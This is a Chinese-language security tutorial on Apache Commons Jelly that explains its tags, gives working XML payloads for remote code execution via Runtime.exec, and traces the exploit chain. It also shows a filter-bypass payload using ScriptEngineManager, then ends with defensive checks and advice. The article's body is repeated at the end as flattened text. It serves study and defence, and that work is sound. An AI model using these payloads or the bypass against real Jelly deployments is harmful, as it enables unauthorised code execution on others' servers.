Apache Common Jelly浅析
字数 1981 2025-08-22 12:22:42

Apache Commons Jelly 安全分析与利用指南

1. Apache Commons Jelly 概述

Apache Commons Jelly 是一个基于 Java 的轻量级脚本引擎和模板引擎,主要用于解析和执行 XML 格式的脚本。它是 Apache Commons 项目的一部分,旨在提供一种简单的方式来在 Java 应用程序中嵌入脚本逻辑。

1.1 主要特点

  • 支持 XML 格式的脚本解析
  • 提供丰富的内置标签库
  • 支持动态表达式和脚本嵌入
  • 可与 Apache Ant 集成

2. Jelly 基本语法

2.1 常用标签

标签 描述
<j:out> 将文本或表达式输出到标准输出或指定的输出流
<j:if> 条件判断标签
<j:elseif>/<j:else> 扩展条件判断
<j:for> 循环标签,用于遍历数组或集合
<j:while> 循环标签,在条件为 true 时反复执行
<j:break> 跳出循环
<j:continue> 跳过当前循环的剩余部分
<j:set> 设置变量的值
<j:get> 获取变量的值
<j:include> 包含其他 Jelly 脚本
${expression} 使用表达式动态计算值
<j:eval> 评估和执行给定的表达式或代码块
<j:script> 嵌入脚本代码
<j:invoke> 调用方法或执行操作
<j:invokeStatic> 调用静态方法
<j:new> 创建新对象
<j:useBean> 创建和使用 Java Bean

2.2 表达式语法

Jelly 支持 ${expression} 形式的表达式,可以在标签属性或文本内容中使用。

3. 安全风险分析

3.1 危险标签

以下标签可能导致安全风险:

  1. 方法调用相关标签

    • <j:invoke>: 可调用任意对象的方法
    • <j:invokeStatic>: 可调用静态方法
    • <j:new>: 可实例化任意类
  2. 表达式相关标签

    • <j:eval>: 直接执行表达式
    • <j:script>: 嵌入脚本代码
  3. 其他危险标签

    • <j:include>: 可能包含恶意脚本
    • <j:parse>: 解析 XML 数据
    • <j:transform>: 应用 XSLT 转换

3.2 RCE 示例

<j:jelly xmlns:j="jelly:core" xmlns:util="jelly:util">
  <j:invokeStatic className="java.lang.Runtime" method="getRuntime" var="runtime"/>
  <j:invoke on="${runtime}" method="exec">
    <j:arg value="calc"/>
  </j:invoke>
</j:jelly>

这个示例展示了如何通过 Jelly 执行系统命令:

  1. 调用 Runtime.getRuntime() 静态方法获取 Runtime 实例
  2. 调用 exec 方法执行命令

3.3 远程调用示例代码

JellyContext context = new JellyContext();
Script script = context.compileScript("http://127.0.0.1:8888/2.xml");
script.run(context, XMLOutput.createXMLOutput(System.out));

4. 漏洞利用链分析

4.1 解析流程

  1. compileScript 阶段

    • 通过 URL 获取输入流
    • 使用 XML 解析器解析脚本
    • 生成 Script 对象
  2. run 阶段

    • 获取并初始化标签
    • 处理动态标签属性
    • 执行标签逻辑

4.2 关键方法

  1. expression.evaluateRecurse(context)

    • 递归评估表达式
    • 可能触发任意方法调用
  2. tag.doTag(output)

    • 执行标签的核心逻辑
    • 对于危险标签,会执行反射调用等操作

4.3 InvokeStatic 标签执行流程

  1. 解析 className、methodName 和 var 属性
  2. 通过反射获取指定类的方法
  3. 调用 Method.invoke() 执行静态方法
  4. 将结果存入指定变量

5. 绕过防御的方法

5.1 表达式绕过

当直接的危险标签被过滤时,可以利用表达式执行代码:

<j:jelly xmlns:j="jelly:core">
  <j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
  <j:arg escapeText="false">
    ${str.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("calc")')}
  </j:arg>
</j:jelly>

5.2 利用步骤

  1. 使用 <j:getStatic> 获取一个存在的类实例
  2. 通过该实例的 class 属性获取 Class 对象
  3. 动态加载并实例化 ScriptEngineManager
  4. 获取 JavaScript 引擎并执行命令

6. 防御措施

6.1 输入过滤

private static Boolean check(String uri) throws IOException, ParserConfigurationException, SAXException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setNamespaceAware(true);
    DocumentBuilder builder = dbf.newDocumentBuilder();
    Document doc = builder.parse(uri);
    
    // 检查危险标签
    int tag1 = doc.getElementsByTagNameNS("*", "expr").getLength();
    int tag2 = doc.getElementsByTagNameNS("*", "import").getLength();
    // ... 其他标签检查
    
    return tag1 <= 0 && tag2 <= 0 && ...;
}

6.2 安全建议

  1. 禁用或限制危险标签的使用
  2. 对输入的 Jelly 脚本进行严格校验
  3. 使用沙箱环境运行 Jelly 脚本
  4. 限制 Jelly 的类加载能力
  5. 禁用反射相关功能

7. 总结

Apache Commons Jelly 由于其强大的动态执行能力,在不当使用时可能带来严重的安全风险。开发者应当:

  1. 充分了解 Jelly 的执行机制和安全风险
  2. 实施严格的输入验证和过滤
  3. 限制 Jelly 的执行环境和权限
  4. 定期检查并更新到最新版本

通过合理的安全措施,可以在享受 Jelly 便利性的同时,有效降低潜在的安全风险。

Apache Commons Jelly 安全分析与利用指南 1. Apache Commons Jelly 概述 Apache Commons Jelly 是一个基于 Java 的轻量级脚本引擎和模板引擎,主要用于解析和执行 XML 格式的脚本。它是 Apache Commons 项目的一部分,旨在提供一种简单的方式来在 Java 应用程序中嵌入脚本逻辑。 1.1 主要特点 支持 XML 格式的脚本解析 提供丰富的内置标签库 支持动态表达式和脚本嵌入 可与 Apache Ant 集成 2. Jelly 基本语法 2.1 常用标签 | 标签 | 描述 | |------|------| | <j:out> | 将文本或表达式输出到标准输出或指定的输出流 | | <j:if> | 条件判断标签 | | <j:elseif>/<j:else> | 扩展条件判断 | | <j:for> | 循环标签,用于遍历数组或集合 | | <j:while> | 循环标签,在条件为 true 时反复执行 | | <j:break> | 跳出循环 | | <j:continue> | 跳过当前循环的剩余部分 | | <j:set> | 设置变量的值 | | <j:get> | 获取变量的值 | | <j:include> | 包含其他 Jelly 脚本 | | ${expression} | 使用表达式动态计算值 | | <j:eval> | 评估和执行给定的表达式或代码块 | | <j:script> | 嵌入脚本代码 | | <j:invoke> | 调用方法或执行操作 | | <j:invokeStatic> | 调用静态方法 | | <j:new> | 创建新对象 | | <j:useBean> | 创建和使用 Java Bean | 2.2 表达式语法 Jelly 支持 ${expression} 形式的表达式,可以在标签属性或文本内容中使用。 3. 安全风险分析 3.1 危险标签 以下标签可能导致安全风险: 方法调用相关标签 <j:invoke> : 可调用任意对象的方法 <j:invokeStatic> : 可调用静态方法 <j:new> : 可实例化任意类 表达式相关标签 <j:eval> : 直接执行表达式 <j:script> : 嵌入脚本代码 其他危险标签 <j:include> : 可能包含恶意脚本 <j:parse> : 解析 XML 数据 <j:transform> : 应用 XSLT 转换 3.2 RCE 示例 这个示例展示了如何通过 Jelly 执行系统命令: 调用 Runtime.getRuntime() 静态方法获取 Runtime 实例 调用 exec 方法执行命令 3.3 远程调用示例代码 4. 漏洞利用链分析 4.1 解析流程 compileScript 阶段 通过 URL 获取输入流 使用 XML 解析器解析脚本 生成 Script 对象 run 阶段 获取并初始化标签 处理动态标签属性 执行标签逻辑 4.2 关键方法 expression.evaluateRecurse(context) 递归评估表达式 可能触发任意方法调用 tag.doTag(output) 执行标签的核心逻辑 对于危险标签,会执行反射调用等操作 4.3 InvokeStatic 标签执行流程 解析 className、methodName 和 var 属性 通过反射获取指定类的方法 调用 Method.invoke() 执行静态方法 将结果存入指定变量 5. 绕过防御的方法 5.1 表达式绕过 当直接的危险标签被过滤时,可以利用表达式执行代码: 5.2 利用步骤 使用 <j:getStatic> 获取一个存在的类实例 通过该实例的 class 属性获取 Class 对象 动态加载并实例化 ScriptEngineManager 获取 JavaScript 引擎并执行命令 6. 防御措施 6.1 输入过滤 6.2 安全建议 禁用或限制危险标签的使用 对输入的 Jelly 脚本进行严格校验 使用沙箱环境运行 Jelly 脚本 限制 Jelly 的类加载能力 禁用反射相关功能 7. 总结 Apache Commons Jelly 由于其强大的动态执行能力,在不当使用时可能带来严重的安全风险。开发者应当: 充分了解 Jelly 的执行机制和安全风险 实施严格的输入验证和过滤 限制 Jelly 的执行环境和权限 定期检查并更新到最新版本 通过合理的安全措施,可以在享受 Jelly 便利性的同时,有效降低潜在的安全风险。